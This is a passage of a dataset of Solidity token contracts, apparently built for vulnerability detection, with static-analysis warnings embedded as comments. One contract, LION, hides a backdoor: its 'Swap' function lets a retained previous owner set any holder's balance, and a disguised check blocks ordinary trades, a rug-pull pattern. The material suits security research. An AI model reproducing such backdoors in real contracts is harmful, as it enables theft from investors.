reentrancy-eth | ID: ed7311f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e2e6002\n\t\t\t\t\t// reentrancy-eth | ID: ed7311f\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ed7311f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e2e6002\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ed7311f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ed7311f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e2e6002\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c9e067d\n\t\t// reentrancy-events | ID: e2e6002\n\t\t// reentrancy-benign | ID: 198327e\n\t\t// reentrancy-eth | ID: ed7311f\n\t\t// reentrancy-eth | ID: 39d8e3d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0deab63): TPAN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0deab63: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c9e067d\n\t\t// reentrancy-events | ID: e2e6002\n\t\t// reentrancy-eth | ID: ed7311f\n\t\t// reentrancy-eth | ID: 39d8e3d\n\t\t// arbitrary-send-eth | ID: 0deab63\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 34d6513): TPAN.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 34d6513: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 34d6513\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f55c0d5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f55c0d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bde617e): TPAN.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for bde617e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 760340d): TPAN.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 760340d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b2aa5e0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b2aa5e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: f55c0d5\n\t\t// unused-return | ID: 760340d\n\t\t// reentrancy-eth | ID: b2aa5e0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f55c0d5\n\t\t// unused-return | ID: bde617e\n\t\t// reentrancy-eth | ID: b2aa5e0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f55c0d5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b2aa5e0\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: f55c0d5\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10816.sol",
"size_bytes": 23053,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_etciwith(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Swap(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSendere = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSendere == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract LION is ERC20 {\n uint256 private constant TOAL_SUPPLY = 420690_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: ce0db9c): LION.DEAD shadows ERC20.DEAD\n\t// Recommendation for ce0db9c: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 974a5ab): LION.ZERO shadows ERC20.ZERO\n\t// Recommendation for 974a5ab: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f8af682): LION.maxTxAmTaddress should be immutable \n\t// Recommendation for f8af682: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmTaddress;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 526dab3): LION.maxwall_address should be immutable \n\t// Recommendation for 526dab3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwall_address;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5862ce2): LION._burnPettstoken should be constant \n\t// Recommendation for 5862ce2: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPettstoken = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 86c2821): LION.uniswapV2Router should be immutable \n\t// Recommendation for 86c2821: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"Lion coin\", unicode\"LION\", TOAL_SUPPLY) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwall_address = TOAL_SUPPLY / 33;\n\n maxTxAmTaddress = TOAL_SUPPLY / 33;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPettstoken) / 100;\n\n super._transfer_etciwith(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmTaddress, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwall_address,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10817.sol",
"size_bytes": 18895,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ZMOG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: f635f6a): ZMOG._bots is never initialized. It is used in ZMOG._transfer(address,address,uint256)\n\t// Recommendation for f635f6a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e75a62e): ZMOG._taxWallet should be immutable \n\t// Recommendation for e75a62e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e30b909): ZMOG._initialBuyTax should be constant \n\t// Recommendation for e30b909: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: f954f40): ZMOG._initialSellTax should be constant \n\t// Recommendation for f954f40: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67d6d19): ZMOG._finalBuyTax should be constant \n\t// Recommendation for 67d6d19: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: afd2b06): ZMOG._finalSellTax should be constant \n\t// Recommendation for afd2b06: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c992ef): ZMOG._reduceBuyAt should be constant \n\t// Recommendation for 2c992ef: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 335cabf): ZMOG._reduceSellAt should be constant \n\t// Recommendation for 335cabf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ba097c): ZMOG._preventCount should be constant \n\t// Recommendation for 2ba097c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Zmog By Matt Furie\";\n\n string private constant _symbol = unicode\"ZMOG\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8fdde79): ZMOG._minTaxSwap should be constant \n\t// Recommendation for 8fdde79: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 409a378): ZMOG._maxTaxSwap should be constant \n\t// Recommendation for 409a378: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n address private _zmogbymf;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xB58eDFB34e84100A85A2AF66f5990A506A856629);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 51c2454): ZMOG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 51c2454: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e4082bb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e4082bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2491c33): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2491c33: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e4082bb\n\t\t// reentrancy-benign | ID: 2491c33\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e4082bb\n\t\t// reentrancy-benign | ID: 2491c33\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9e39f03): ZMOG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9e39f03: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2491c33\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e4082bb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8ca1645): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8ca1645: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 9e5f8fe): ZMOG._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 9e5f8fe: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: f635f6a): ZMOG._bots is never initialized. It is used in ZMOG._transfer(address,address,uint256)\n\t// Recommendation for f635f6a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 275209e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 275209e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability 